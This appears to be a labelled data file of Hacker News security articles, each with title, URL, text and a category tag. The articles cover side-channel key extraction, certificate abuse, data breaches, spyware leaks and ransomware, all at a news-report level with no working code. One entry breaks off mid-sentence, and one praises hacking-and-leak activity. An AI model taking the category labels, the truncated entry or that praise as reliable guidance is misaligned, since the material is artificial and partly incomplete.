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Acoustic Cryptanalysis: Extracting RSA Key From GnuPG by capturing Computer Sound | https://thehackernews.com/2013/12/acoustic-cryptanalysis-extracting-rsa.html | RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis', is an interesting paper recently published by Three Israeli Security Researchers at Tel Aviv University.
They claimed that, they have successfully broken one of the most secure encryption algorithms, 4096-bit RSA, just by capturing Computer's CPU Sound while it runs decryption routines.
Daniel Genkin, Adi Shamir (who co-invented RSA), and Eran Tromer, uses a side channel attack and through a process called "acoustic cryptanalysis", they successfully extracted 4096-bit RSA key From GnuPG.
"We experimentally demonstrate that such attacks can be carried out, using either a plain mobile phone placed next to the computer, or a more sensitive microphone placed 4 meters away,"
The paper specifies some possible implementations of this attack. Some email-client softwares i.e. Enigmail can automatically decrypt incoming e-mail (for notification purposes) using GnuPG. An attacker can e-mail suitably-crafted messages to the victims, wait until they reach the target computer, and observe the acoustic signature of their decryption, thereby closing the adaptive attack loop.
"The acoustic signal of interest is generated by vibration of electronic components (capacitors and coils) in the voltage regulation circuit, as it struggles to maintain a constant voltage to the CPU despite the large fluctuations in power consumption caused by different patterns of CPU operations,"
"The relevant signal is not caused by mechanical components such as the fan or hard disk, nor by the laptop's internal speaker."
The security researchers listen to the high-pitched (10 to 150 KHz) sounds produced by your computer as it decrypts data and warned that a variety of other applications are also susceptible to the same acoustic cryptanalysis attack.
"We observe that GnuPG's RSA signing (or decryption) operations are readily identified by their acoustic frequency spectrum. Moreover, the spectrum is often key-dependent, so that secret keys can be distinguished by the sound made when they are used. The same applies to ElGamal decryption."
Here in the above picture, a mobile phone (Samsung Note II) is placed 30 cm (nearly 12 inches) from a target laptop. The phone's internal microphone points toward the laptop's fan vents. Full key extraction is possible in this configuration and distance.
They have notified GnuPG about the vulnerability and If you want to keep your data secure, please follow recommended countermeasures:
"One obvious countermeasure is to use sound dampening equipment, such as "sound-proof" boxes, designed to sufficiently attenuate all relevant frequencies. Conversely, a sufficiently strong wide-band noise source can mask the informative signals, though ergonomic concerns may render this unattractive. Careful circuit design and high-quality electronic components can probably reduce the emanations."
GnuPG team has developed a patch for the vulnerability to defend against key extraction attacks and released GnuPG 1.4.16.
| Vulnerability |
Iranian Man-in-the-Middle Attack Against Google certificate | https://thehackernews.com/2011/08/iranian-man-in-middle-attack-against.html | Iranian Man-in-the-Middle Attack Against Google certificate
Recently discovered attempts of an SSL man-in-the-middle attack against Google users - spotted by a number of Iranian Internet users - have revealed that Dutch Certificate Authority DigiNotar has issued an SSL certificate for all *.google.com domains.
What's worse than discovering that someone has launched a man-in-the-middle attack against Iranian Google users, silently intercepting everything from email to search results and possibly putting Iranian activists in danger? Discovering that this attack has been active for two months.
"This is a wildcard for any of the Google domains," said Roel Schouwenberg, senior malware researcher with Kaspersky Lab, in an email interview Monday.
"[Attackers] could poison DNS, present their site with the fake cert and bingo, they have the user's credentials," said Andrew Storms, director of security operations at nCircle Security.
As the problems with the certificate authority system become clear, lots of people are working on ways to detect and mitigate these attacks. Chrome's pinning feature is available not only to Google web sites but to any webmaster; if you run an HTTPS site, you can contact the Chrome developers and get your site's keys hard-coded. Other browser vendors may implement a similar feature soon. The same result could also be achieved by giving web sites themselves a way to tell browsers what certificates to anticipate—and efforts to do this are now underway, building on top of DNSSEC or HSTS. Then browsers could simply not believe conflicting information, or at least provide a meaningful way to report it or warn the user about the situation.
Mozilla has announced the release of new versions of their browser, mail client and Internet suite in which trust of DigiNotar's root certificate will be revoked.
| Malware |
Data Breach Exposes 1.6 Million Jobless Claims Filed in the Washington State | https://thehackernews.com/2021/02/data-breach-exposes-16-million-jobless.html | The Office of the Washington State Auditor (SAO) on Monday said it's investigating a security incident that resulted in the compromise of personal information of more than 1.6 million people who filed for unemployment claims in the state in 2020.
The SAO blamed the breach on a software vulnerability in Accellion's File Transfer Appliance (FTA) service, which allows organizations to share sensitive documents with users outside their organization securely.
"During the week of January 25, 2021, Accellion confirmed that an unauthorized person gained access to SAO files by exploiting a vulnerability in Accellion's file transfer service," the SAO said in a statement.
The accessed information is said to have contained personal details of Washington state residents who filed unemployment insurance claims in 2020, as well as other data from local governments and state agencies.
The exact information that may have been compromised include:
Full name
Social security number
Driver's license
State identification number
Bank account number and bank routing number, and
Place of employment
The unauthorized access incident is believed to have occurred in late December of last year, although it appears the full scope of the intrusion wasn't made aware until Accellion disclosed earlier this month that its file transfer application was the "target of a sophisticated cyberattack."
The Palo Alto-based cloud solutions company said on January 11 that it was made aware of a vulnerability in its legacy FTA software in mid-December, following which it claimed it addressed the issue and released a patch "within 72 hours" to the less than 50 customers affected.
Accellion also said it's contracting with an "industry-leading cybersecurity forensics firm" to investigate the incident.
Given that the compromised information can be abused to carry out identity theft or fraud, the SAO said it's in the process of arranging measures to protect the identities of those whose information may have been contained within SAO's files.
In the meanwhile, the agency recommends reviewing account statements and credit reports, notifying financial institutions of any suspicious activity, and reporting any suspected incidents of identity theft to law enforcement.
It's worth noting that Accellion's FTA software was used as an attack vector to strike two other organizations, including the Australian Securities and Investments Commission (ASIC) and the Reserve Bank of New Zealand (RBNZ), in recent weeks.
| Data_Breaches |
20-Year Old Vulnerability in LZO Compression Algorithm Went to Planet Mars | https://thehackernews.com/2014/06/20-years-old-vulnerability-in-lzo.html | A 20 year old critical subtle integer overflow vulnerability has been discovered in Lempel-Ziv-Oberhumer (LZO), an extremely efficient data compression algorithm that focuses on decompression speed, which is almost five times faster than zlib and bzip compression algorithms.
Lempel-Ziv-Oberhumer (LZO) was developed in 1994 by Markus Oberhumer and currently it is one of the most popular and widespread compression algorithm used in the Linux kernel, some Samsung Android mobile devices, other embedded devices and several open-source libraries including OpenVPN, MPlayer2, Libav, FFmpeg.
20 YEAR OLD VULNERABILITY IN LZO ALGORITHM
Don A. Bailey, founder and CEO of Lab Mouse Security, who disclosed the technical details of the buffer overrun vulnerability in LZO/LZ4 algorithm, explains that if an attacker carefully craft a piece of compressed data that would run malicious code when the software attempted to decompress it.
According to advisory, if buffers of 16MB or more can be passed to LZO/LZ4 then exploitation is possible only under limited circumstances. The vulnerability in the algorithm could also trigger buffer overflows, denial of service and remote code execution (RCE).
"As this issue only affects 32-bit systems and also can only happen if you use uncommonly huge buffer sizes where you have to decompress more than 16 MiB (2^24 bytes) compressed bytes within a single function call the practical implications are limited."
LZO FLAW WENT TO PLANET MARS
Lempel-Ziv-Oberhumer (LZO) algorithm is also used in some car and aircraft systems, as well as NASA's Rover, Curiosity, which is right now on planet Mars and has completed its first year this week.
"The scope of this algorithm touches everything from embedded micro controllers on the Mars Rover, mainframe operating systems, modern day desktops, and mobile phones." Bailey wrote in a blog post.
However, he denied from the practical exploitation of Curiosity Rover by any hacker, "NASA accepted the bug reports. I doubt it is vulnerable to an attacker. The Rover is so compartmentalized within NASA it would be hard to get to, and even harder to push a malicious payload to it. I doubt you could send it enough data to trigger the bug," Bailey explained.
Multimedia applications such as MPlayer2, libav and FFmpeg are potentially affected by the discovered vulnerability and it could be used to execute code remotely. "If you're viewing a video, a malicious video will execute a shell on your computer, so you could get code execution by playing a video." Bailey warned.
GOOD NEWS, ANY TOM, DICK OR HARRY CAN'T WRITE EXPLOITS
The LZO vulnerability is significant and even exists in kernels for Samsung Android devices to increase kernel loading speed. However, each implementation and architecture is using modified versions of LZO, so a potential attacker should have to build custom malicious payloads for each implementation and this limits the overall severity of the flaw.
CVE-ID's
CVE-2014-4607 - LZO code
CVE-2014-4608 (LZO) - Kernel code
CVE-2014-4609 - Libav
CVE-2014-4610 - FFmpeg
CVE-2014-4611 (LZ4) - Kernel code
SECURITY PATCH
LZO has finally been patched in latest LZO version 2.07, Linux kernel version 3.15.2 and various open-source media libraries including, FFmpeg and libav have also released latest patched versions.
| Vulnerability |
AntiVirus Firm BitDefender Hacked; Turns Out Stored Passwords Are UnEncrypted | https://thehackernews.com/2015/07/bitdefender-hacked.html | Forget about Financial services and Online shopping websites, but at least we expect from Security Firms and Antivirus vendors to keep our personal and Sensitive data Encrypted and Secured.
One of the most popular and much-respected Antivirus and computer security firms 'BitDefender' has recently been hacked and has had a portion of its customer data leaked.
The Data Breach in BitDefender is incredibly embarrassing for the security firm, not because the company failed to prevent its customers data from hackers, but because the Security company failed to encrypt its customers' most sensitive data.
Now, this is something really not expected from a reputed Security Firm.
It appears that the hacker, who uses the online alias DetoxRansome, was able to break into a Bitdefender server that hosted the cloud-based management dashboards for its small and medium-sized business clients, and pilfer usernames and passwords belonged to them.
They Forget to Encrypt Customers' Passwords
The most worrisome part of the BitDefender Hack – the login details were in pure unencrypted format.
The Romanian security company admitted its system was breached and said that the attack on its system didn't penetrate the server, but a security hole "potentially enabled exposure of a few user accounts and passwords", which could be the SQL injection vulnerability.
Hacker Demands Ransom Money....
The hackers made off with a "very limited" number of credentials of its customer, following rumours that they are threatening to release the leaked data publicly unless the ransom of $15,000 is paid by BitDefender.
Over the weekend, the hacker online exposed a list of usernames and passwords for more than 250 BitDefender accounts, as noted by HackerFilm.
However, the security firm has refused the demand to pay ransom to the hacker and is currently working with law enforcement to investigate the issue.
"The issue was immediately resolved, and additional security measures have been put in place to prevent its reoccurrence," the company's spokesperson said in a statement. "Our investigation revealed no other server or services were impacted."
While it is quite a good news that the BitDefender data breach is limited in scope, affecting less than one percent of its customers. However, it's really disappointing that an anti-virus company dedicated to our computer security was failed to implement necessary security measures to protect its customers data.
| Data_Breaches |
Company That Sells 'FinFisher' Spying Tool Got Hacked, 40GB Data Leaked | https://thehackernews.com/2014/08/company-that-sells-finfisher-spying.html | FinFisher spyware, a spyware application used by government and law enforcement agencies for the purpose of surveillance, appears to have been hacked earlier this week and a string of files has been dumped on the Internet.
The highly secret surveillance software called "FinFisher" sold by British company Gamma International can secretly monitors computers by turning ON webcams, recording everything the user types with a keylogger, and intercepting Skype calls, copying files, and much more.
A hacker has claimed on Reddit and Twitter that they'd infiltrated the network of one of the world's top surveillance & motoring technology company Gamma International, creator of FinFisher spyware, and has exposed 40GB of internal data detailing the operations and effectiveness of the FinFisher suite of surveillance platforms.
The leaked information was published both on a parody Gamma Group Twitter account (@GammaGroupPR) and Reditt by the hacker that began publishing links to the documents and satirical tweets.
The leaked files includes client lists, price lists, source code of Web Finfly, details about the effectiveness of Finfisher malware, user and support documentation, a list of classes/tutorials, and much more.
The Reddit post Gamma International Leaked in self.Anarchism said, "a couple days ago [when] I hacked in and made off with 40GB of data from Gamma's networks. I have hard proof they knew they were selling (and still are) to people using their software to attack Bahraini activists, along with a whole lots of other stuff in that 40GB."
The FinFisher files were first leaked on Dropbox as a torrent file and since have been shared across the internet, which means that it is now impossible to stop the information from being leaked.
One spreadsheet in the dump titled FinFisher Products Extended Antivirus Test dated April this year, details the anti-virus detection rates of the FinFisher spyware which German based Gamma Group sold to governments and law enforcement agencies.
It shows how FinFisher performed well against 35 top antivirus products. That means FinFisher would probably not be detected by a targeted users' security systems.
One more document also dated April this year has been identified that detailed release notes, for version 4.51 of FinSpy, show a series of patches made to the products including patch to ensure rootkit component could avoid Microsoft Security Essentials, that the malware could record dual screen Windows setups, and improved email spying with Mozilla Thunderbird and Apple Mail.
The file dump also reveals that FinFisher is detected by OS X Skype (a recording prompt appears), so the users of OS X Skype would be alerted to the presence of FinFisher by a notification indicating that a recording module was installed.
FinFisher cannot tap Windows 8 users, so rather the desktop client, the users should opt for the Metro version of Skype.
The dump also contains a fake Adobe Flash Player updater, a Firefox plugin for RealPlayer and an extensive (though still undetermined) documentation for WhatsApp.
"A price list, which appeared to be a customers' record, revealed the FinSpy program cost 1.4 million Euros and a variety of penetration testing training services priced at 27,000 Euros each," the Reg. reported. "The document did not contain a date but it did show prices for malware targeting the recent iOS version 7 platform."
The leaked documents also included a FinSpy user manual and brochure. This previously kept so-called spying secret is not a secret now and we'll be going to find a lot more in the upcoming weeks. Stay Tuned!
| Malware |
Microsoft remotely deleted Tor-based 'Sefnit Botnet' from more than 2 Million Systems | https://thehackernews.com/2014/01/microsoft-remotely-deleted-tor-browser.html | In October 2013, Microsoft adopted a silent, offensive method to tackle infection due to a Tor-based botnet malware called 'Sefnit'.
In an effort to takedown of the Sefnit botnet to protect windows users, Microsoft remotely removes the older versions of installed Tor Browser software and infection from 2 Million systems, even without the knowledge of the system's owner.
Last year in August, after Snowden revelations about the National Security Agency's (NSA) Spying programs, the Internet users were under fear of being spied. During the same time Tor Project leaders noticed almost 600% increase in the number of users over the anonymizing networks of Tor i.e. More than 600,000 users join Tor within few weeks.
In September, researchers identified the major reason of increased Tor users i.e. A Tor-based botnet called 'Sefnit malware', which was infecting millions of computers for click fraud and bitcoin mining.
To achieve the maximum number of infections, cyber criminals were using several ways to spread their botnet. On later investigation, Microsoft discovered some popular softwares like Browser Protector and FileScout, bundled with vulnerable version of Tor Browser & Sefnit components.
'The security problem lies in the fact that during a Sefnit component infection, the Tor client service is also silently installed in the background. Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network.'
It was not practically possible for Microsoft or the Government to instruct each individual on 'How to remove this Malware', so finally Microsoft took the decision of remotely washing out the infections themselves.
To clean infected machines, Microsoft began updating definitions for its antimalware apps.
"We modified our signatures to remove the Sefnit-added Tor client service. Signature and remediation are included in all Microsoft security software, including Microsoft Security Essentials, Windows Defender on Windows 8, Microsoft Safety Scanner, Microsoft System Center Endpoint Protection, and Windows Defender Offline." and later also in Malicious Software Removal Tool.
But why Tor Browser?
"Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network. This is a problem not only for the workload it applies to the Tor Network, but also for the security of these computers." Microsoft says.
So they removed it and to Justify their action, Microsoft points out several vulnerabilities in the Tor version bundled with Sefnit malware i.e. Tor version 0.2.3.25, that opens the user to attack through these known vulnerabilities.
"Tor is a good application used to anonymous traffic and usually poses no threat. Unfortunately, the version installed by Sefnit is v0.2.3.25 – and does not self-update. The latest Tor release builds at the time of writing is v0.2.4.20."
May be this is the right way to neutralize the infections, but the Microsoft's action also clarifies the capability to remotely remove any software from your computer.
Nicholas J. Hopper from University of Minnesota, provided a detailed explanation about 'Protecting Tor from botnet abuse in the long term' in a paper.
| Malware |
Cross Platform Trojan steals Linux and Mac OS X passwords | https://thehackernews.com/2012/08/cross-platform-trojan-steals-linux-and.html | Russian anti-virus company Doctor Web reported about the first cross-platform backdoor to run under Linux and Mac OS X identified as "BackDoor.Wirenet.1". This malicious program designed to steals passwords entered by the user in Opera, Firefox, Chrome, and Chromium, and passwords stored by such applications as Thunderbird, SeaMonkey, and Pidgin.
BackDoor.Wirenet.1 is the first-ever Trojan that can simultaneously work on these operating systems. BackDoor.Wirenet.1 is still under investigation.
At launch BackDoor.Wirenet.1 creates a copy in the user's home directory. To interact with the command server located at 212.7.208.65, the malware uses a special encryption algorithm Advanced Encryption Standard (AES). BackDoor.
| Malware |
UK Teenager, Aged 18, Charged With Running DDoS-For-Hire Service | https://thehackernews.com/2017/07/ddoS-for-hire-service-hack.html | A teenage student has been charged with running a supplying malware that was used for launching distributed denial of service (DDoS) attacks against websites of some of the world's leading businesses.
Jack Chappell, an 18-year-old teenager from Stockport, is accused of helping cyber criminals with his DDoS booter service (DDoS-for-hire service) to flood millions of websites around the world with the massive amount of data and eventually bring them down, making them unavailable to their users.
Among the victims that were allegedly attacked by Chappell's malware are the National Crime Agency (NCA), T-Mobile, O2, Virgin Media, the BBC, Amazon, Vodafone, BT, Netflix, and NatWest that had its online banking systems down in a 2015 cyber attack.
Chappell is charged following an investigation led by the West Midlands Regional Cyber Crime Unit and assisted by Israeli Police, the Federal Bureau of Investigation (FBI) and Europol's European Cybercrime Centre (EC3).
According to authorities, the teenager rented his DDoS-for-hire service to criminals and also ran an online helpdesk for would-be hackers as part of his operation.
"He has been charged with impairing the operation of computers under the Computer Misuse Act, plus encouraging or assisting an offense and money laundering crime proceeds together with an American national," West Midlands Police said in a statement.
Chappell is due to appear at Manchester Magistrates' Court on July 4, Tuesday.
Late last year, another 19-year-old student from Hertford (Town in the UK) was pled guilty for running Titanium Stresser DDoS-for-hire service, one of the most popular DDoS booter tool that was used to launch over 1.7 Million DDoS attacks worldwide and brought him an income of more than US$385,000.
| Cyber_Attack |
New Ransomware Threatens to Send Your Internet History & Private Pics to All Your Friends | https://thehackernews.com/2017/07/leakerlocker-android-ransomware.html | After WannaCry and Petya ransomware outbreaks, a scary (but rather creative) new strain of ransomware is spreading via bogus apps on the Google Play Store, this time targeting Android mobile users.
Dubbed LeakerLocker, the Android ransomware does not encrypt files on victim's device, unlike traditional ransomware, rather it secretly collects personal images, messages and browsing history and threatens to share it to their contacts if they don't pay $50 (£38).
Researchers at security firm McAfee spotted the LeakerLocker ransomware in at least two apps — Booster & Cleaner Pro and Wallpapers Blur HD — in the Google Play Store, both of which have thousands of downloads.
To evade detection of malicious functionality, the apps initially don't contain any malicious payload and typical function like legitimate apps.
But once installed by users, the apps load malicious code from its command-and-control server, which instructs them to collect a vast number of sensitive data from the victim's phone — thanks to its victims granting unnecessary permissions blindly during installation.
The LeakerLocker ransomware then locks the home screen and displays a message that contains details of the data it claims to have stolen and holds instructions on how to pay the ransom to ensure the information is deleted.
The ransom message reads:
All personal data from your smartphone has been transferred to our secure cloud.
In less than 72 hours this data will be sent to every person on your telephone and email contacts list. To abort this action you have to pay a modest ransom of $50 (£38).
Please note that there is no way to delete your data from our secure but paying for them. Powering off or even damaging your smartphone won't affect your data in the cloud.
Although the ransomware claims that it has taken a backup of all of your sensitive information, including personal photos, contact numbers, SMS', calls and GPS locations and browsing and correspondence history, researchers believe only a limited amount of data on victims is collected.
According to researchers, LeakerLocker can read a victim's email address, random contacts, Chrome history, some text messages and calls, take a picture from the camera, and read some device information.
All the above information is randomly chosen to display on the device screen, which is enough to convince the victims that lots of data have been copied.
Both malicious apps have since been removed by Google from the Play Store, but it is likely that hackers will try to smuggle their software into other apps.
If you have installed any of the two apps, uninstall it right now.
But if you are hit by the ransomware and are worried about your sexy selfies and photographs being leaked to your friends and relatives, you might be thinking of paying a ransom.
Do not pay the Ransom! Doing so motivates cyber criminals to carry out similar attacks, and there is also no guarantee that the stolen information will be deleted by the hackers from their server and will not be used to blackmail victims again.
| Cyber_Attack |
Cisco patch serious Vulnerability in Data Center Network Manager | https://thehackernews.com/2012/10/cisco-patch-serious-vulnerability-in.html | Cisco Prime DCNM is a management tools for your Storage and Ethernet Networks, provides a robust framework and comprehensive feature set that meets the routing, switching, and storage administration needs of present and future virtualized data centers.
According to an advisory released, Cisco Prime Data Center Network Manager (DCNM) contains a remote command execution vulnerability that may allow a remote, unauthenticated attacker to execute arbitrary commands on the computer that is running the Cisco Prime DCNM application.
The vulnerability exists because JBoss Application Server Remote Method Invocation (RMI) services, specifically the jboss.system:service=MainDeployer functionality, are exposed to unauthorized users.
All Cisco Prime Data Center Network Manager releases prior to release 6.1(1), for both the Microsoft Windows and Linux platforms, are affected by this vulnerability.
Successful exploitation of the vulnerability may allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system that hosts the Cisco Prime DCNM application in the context of the System user for Cisco Prime DCNM running on Microsoft Windows) or the root user for Cisco Prime DCNM running on Linux.
Cisco has released free software updates that address this vulnerability.
Update: Another Advisory from Cisco reporting a SQL injection and buffer overrun vulnerability in Cisco Unified MeetingPlace Web Conferencing product. SQL Injection Vulnerability may allow an unauthenticated, remote attacker to send Structured Query Language (SQL) commands to manipulate the MeetingPlace database stores information about server configuration, meetings, and users. These commands may be used to create, delete, or alter some of the information in the Cisco Unified MeetingPlace Web Conferencing database.
Affected versions are Prior to 7.0 ,7.0 ,7.1 ,8.0 and 8.5. Cisco has released free software updates that address the vulnerabilities described in this advisory.
| Vulnerability |
Stolen D-Link Certificate Used to Digitally Sign Spying Malware | https://thehackernews.com/2018/07/digital-certificate-malware.html | Digitally signed malware has become much more common in recent years to mask malicious intentions.
Security researchers have discovered a new malware campaign misusing stolen valid digital certificates from Taiwanese tech-companies, including D-Link, to sign their malware and making them look like legitimate applications.
As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software and are trusted by your computer for execution of those programs without any warning messages.
However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have seen been abusing trusted digital certificates in recent years.
Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices.
Security researchers from ESET have recently identified two malware families, previously associated with cyberespionage group BlackTech, that have been signed using valid digital certificates belonging to D-Link networking equipment manufacturer and another Taiwanese security company called Changing Information Technology.
The first malware, dubbed Plead, is a remotely controlled backdoor designed to steal confidential documents and spy on users.
The second malware is also a related password stealer designed to collect saved passwords from Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox.
Researchers notified both D-link and Changing Information Technology about the issue, and the companies revoked the compromised digital certificates on July 3 and July 4, 2018, respectively.
Since most antivirus software fails to check the certificate's validity even when companies revoke the signatures of their certificates, the BlackTech hackers are still using the same certificates to sign their malicious tools.
"The ability to compromise several Taiwan-based technology companies and reuse their code-signing certificates in future attacks shows that this group is highly skilled and focused on that region," the researchers said.
It is not the first time when hackers have used valid certificates to sign their malware. The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used valid digital certificates.
Also, the 2017 CCleaner hack, wherein hackers replaced the original CCleaner software with the tainted downloads, was made possible due to digitally-signed software update.
| Cyber_Attack |
Official Android Market host many Malware Games | https://thehackernews.com/2011/12/official-android-market-host-many.html | Official Android Market host many Malware Games
F-Secure researchers recently found malware in the Android Market disguised as free versions of popular games. Disguising malware as a free version of a popular game (such as Cut the Rope and Assassin's Creed) seems to be a popular tactic that the bad guys are using to scam users of Google's Android Market app store. Overnight more malware appeared in Google's official app repository.
The Trojanized games have been uploaded by a company calling itself Eldar Limited. This is the second time in two weeks malware disguised as free games has been uploaded to the Android Market.
Google's app police managed to detect this fraud and quickly removed it from the Android Market. While the apps are still listed on AppBrain and AndroidZoom, the links will direct users back to the official Android Market where they have already been removed.
"These have now been removed by Google, but their appearance in the official Android Market in the first place is worrying. Not only is Google putting Android users into contact with malware, it is also allowing the brand names of reputable companies to be tarnished by letting the bad guys upload this stuff to the Android Market in the first place." Zdnet posted.
F-Secure posted a tip to help you figure out whether a free app is genuine or not :
A useful tip for users out there is to search for the paid version of the app and take note of the developer's name. If the name on both paid and free versions matches, then it is very likely to be a safe app. Otherwise, don't proceed with the download.
| Malware |
Exploit-Selling Firm Kept Internet Explorer Zero-Day Vulnerability Hidden for 3 Years | https://thehackernews.com/2014/07/exploit-selling-firm-kept-internet.html | A French information security company VUPEN has recently disclosed that it held onto a serious Internet Explorer (IE) vulnerability for at least three years before revealing it at the Pwn2Own hacker competition held in March this year.
The critical zero-day vulnerability affected versions 8, 9, 10 and 11 of Internet Explorer browser that allowed attackers to remotely bypass the IE Protected Mode sandbox. An attacker can exploit this issue to gain elevated privileges.
VULNERABILITY DISCLOSURE TIMELINE
According to a disclosure made by the security company last week, the vulnerability with ID CVE-2014-2777 was discovered by the company on 12 February 2011, which was patched by Microsoft last month.
12 February 2011 - IE Zero-day discovered by Vupen.
13 March 2014 - Vupen reported to Microsoft.
11 June 2014 - Microsoft Released patch and publicly released the advisory.
Sandbox is security mechanism used to run an application in a restricted environment. If an attacker is able to exploit the browser in a way that lets him run arbitrary code on the machine, the sandbox would help prevent this code from causing damage to the system. So, if attackers are able to bypass the sandbox mechanism, they could run malicious code on the victim's machine.
"The vulnerability is caused due to an invalid handling of a sequence of actions aimed to save a file when calling 'ShowSaveFileDialog()', which could be exploited by a sandboxed process to write files to arbitrary locations on the system and bypass IE Protected Mode sandbox," wrote the company.
BAZAR OF ZERO-DAY EXPLOITS
VUPEN's specialty is in discovering zero-day vulnerabilities in software from major producers in order to sell the exploits to the highest bidder, typically to law enforcement and government intelligence agencies, and HP's Zero Day Initiative.
VUPEN also exploited several targets in March Pwn2Own competition, including Chrome, Adobe Flash and Adobe Reader, and Microsoft's Internet Explorer, taking home $400,000 of the total contest payout.
MICROSOFT ALSO KEPT SOMETHING HIDDEN
Microsoft also kept hidden a critical Zero-Day vulnerability of Internet explorer 8 from all of us, since October 2013, which was a zero day remote code execution flaw that affected the Internet Explorer version 8 and allowed a remote attacker to execute arbitrary code through a bug in CMarkup objects.
Now, the question arises — Does Microsoft keep these critical vulnerability hidden in its browser intentionally? or Does Microsoft not care about the security of its users that its security team left three years old vulnerability undiscovered?
VULNERABILITY ON PLANET MARS
Last month a 20 year-old critical subtle integer overflow vulnerability was discovered in the Lempel-Ziv-Oberhumer (LZO), an extremely efficient data compression algorithm that focuses on decompression speed, which is almost five times faster than zlib and bzip compression algorithms.
The most popular algorithm is used in the Linux kernel, some Samsung Android mobile devices, other embedded devices and several open-source libraries including OpenVPN, MPlayer2, Libav, FFmpeg. It even made its way onto the Mars Curiosity rover.
| Vulnerability |
Android Smishing Vulnerability, an intelligent exploitation by Malicious Apps | https://thehackernews.com/2012/11/android-smishing-vulnerability.html | Your android device allows you to connect with anyone at anytime, if they are available. Mobile-enhanced shopping and banking sites gives you freedom to buy anything - anywhere. You have millions of applications, that you can install to pimp up your device. But same applications can exploit your business and personal life by stealing your personal information by various intelligent methods.
Researchers at NC State University has uncovered a new vulnerability that expose smishing and vishing threats for Android users. I think you need to know about Smishing first,so it is where the mobile phone user will receive a text message. This text message only purpose is to get the user to click on the link. If you click on the link, you may inadvertently be downloading a Trojan horse, virus, or other malicious malware.
So, researchers found a new way to do such phishing attacks using fake sms, If an Android user downloads an infected app, the attacking program can make it appear that the user has received an SMS, or text, message from someone on the phone's contact list or from trusted banks. This fake message can solicit personal information, such as passwords for user accounts.
Video Demonstration:
Researchers notified the Google Android Security Team about the vulnerability. One serious aspect of the vulnerability is that it does not require the (exploiting) app to request any permission to launch the attack.
Before the ultimate fix is out, this threat can be mitigated in several ways. For example, users are encouraged to be cautious when downloading and installing apps (particularly from unknown sources). As always, it is important to pay close attention to received SMS text messages, in order to avoid being duped by possible phishing attacks.
| Vulnerability |
U.S. Treasury Sanctions Hacking Group Backed by Iranian Intelligence | https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html | The U.S. government on Thursday imposed sweeping sanctions against an Iranian threat actor backed by the country's Ministry of Intelligence and Security (MOIS) for carrying out malware campaigns targeting Iranian dissidents, journalists, and international companies in the telecom and travel sectors.
According to the U.S. Treasury and the Federal Bureau of Investigation (FBI), the sanctions target Rana Intelligence Computing Company (or Rana), which the agencies said operated as a front for the threat group APT39 (aka Chafer or Remix Kitten), Iranian cyber espionage hacking collective active since 2014 known for its attacks on companies in the U.S. and the Middle East with an aim to pilfer personal information and advance Iran's national security objectives.
To that effect, 45 individuals who served in various capacities while employed at the front company, including as managers, programmers, and hacking experts, have been implicated in the sanctions, which also prohibit U.S. companies from doing business with Rana and its employees.
"Masked behind its front company, Rana Intelligence Computing Company (Rana), the Government of Iran's Ministry of Intelligence and Security (MOIS) has employed a years-long malware campaign that targeted and monitored Iranian citizens, dissidents, and journalists, the government networks of Iran's neighboring countries, and foreign organizations in the travel, academic, and telecommunications sectors," the FBI said.
Rana is also believed to have targeted Iranian private sector companies and academic institutions, including Persian language and cultural centers inside and outside the country.
APT39's Long History of Espionage Activities
APT39 has a history of hacking into targets spanning over 30 countries in the Middle East, North Africa, and Central Asia, and at least 15 U.S. companies in the travel sector have been compromised by Rana's malware, using the unauthorized access to track the movements of individuals whom MOIS considered a threat.
Earlier this May, Bitdefender uncovered two cyberattacks directed against critical infrastructures in Kuwait and Saudi Arabia, compromising its victims via spear-phishing emails containing malicious attachments and using various intrusion tools to gain an initial foothold and collect sensitive data from infected systems.
Aside from formally connecting the activities of APT39 to Rana, the FBI detailed eight separate and distinct sets of previously undisclosed malware used by the group to conduct their computer intrusion and reconnaissance activities, which comprises of:
Microsoft Office documents laced with Visual Basic Script (VBS) malware sent via social engineering techniques
Malicious AutoIt malware scripts embedded in Microsoft Office documents or malicious links
Two different versions of BITS malware to aggregate and exfiltrate victim data to an actor-controlled infrastructure
A screenshot and keylogger utility that masqueraded as legitimate Mozilla Firefox browser
A Python-based downloader to fetch additional malicious files to the victim machine from a command-and-control (C2) server
An Android implant ("optimizer.apk") with information-stealing and remote access capabilities
"Depot.dat" malware for collecting screenshots and capturing keystrokes and transmitting the information to a remote server under their control
A Series of Charges Against Iranian Hackers
The sanctions against APT39 is the latest in a string of actions undertaken by the U.S. government over the last few days against Iran, which also encompasses charges against three hackers for engaging in a coordinated campaign of identity theft and hacking on behalf of Iran's Islamic Revolutionary Guard Corps (IRGC) to steal critical information related to U.S. aerospace and satellite technology companies.
Last but not least, the Cybersecurity Security and Infrastructure Security Agency (CISA) warned of an Iran-based malicious cyber actor targeting several U.S. federal agencies by exploiting unpatched VPN vulnerabilities to amass sensitive data and even sell access to the compromised network infrastructure in an online hacker forum.
"This week's unsealing of indictments and other disruptive actions serves as another reminder of the breadth and depth of Iranian malicious cyber activities targeting not only the United States, but countries all over the world," John C. Demers, Assistant Attorney General for National Security, said in a statement.
"Whether directing such hacking activities, or by offering a safe haven for Iranian criminal hackers, Iran is complicit in the targeting of innocent victims worldwide and is deepening its status as a rogue state."
| Cyber_Attack |
Anonymous Surpasses Wikileaks ! | https://thehackernews.com/2011/02/anonymous-surpasses-wikileaks.html | The exploits of Anonymous to hack the systems of firms providing spying services to governments and corporations suggest that the WikiLeaks mini-era has been surpassed.
Much of WikiLeaks promise to protect sources is useless if the sources are not whistleblowers needing a forum for publication. Instead publishers of secret information grab it directly for posting to Torrent for anybody to access without mediation and mark-up by self-esteemed peddlers of protection, interpretationa and authentication, including media cum scholars.
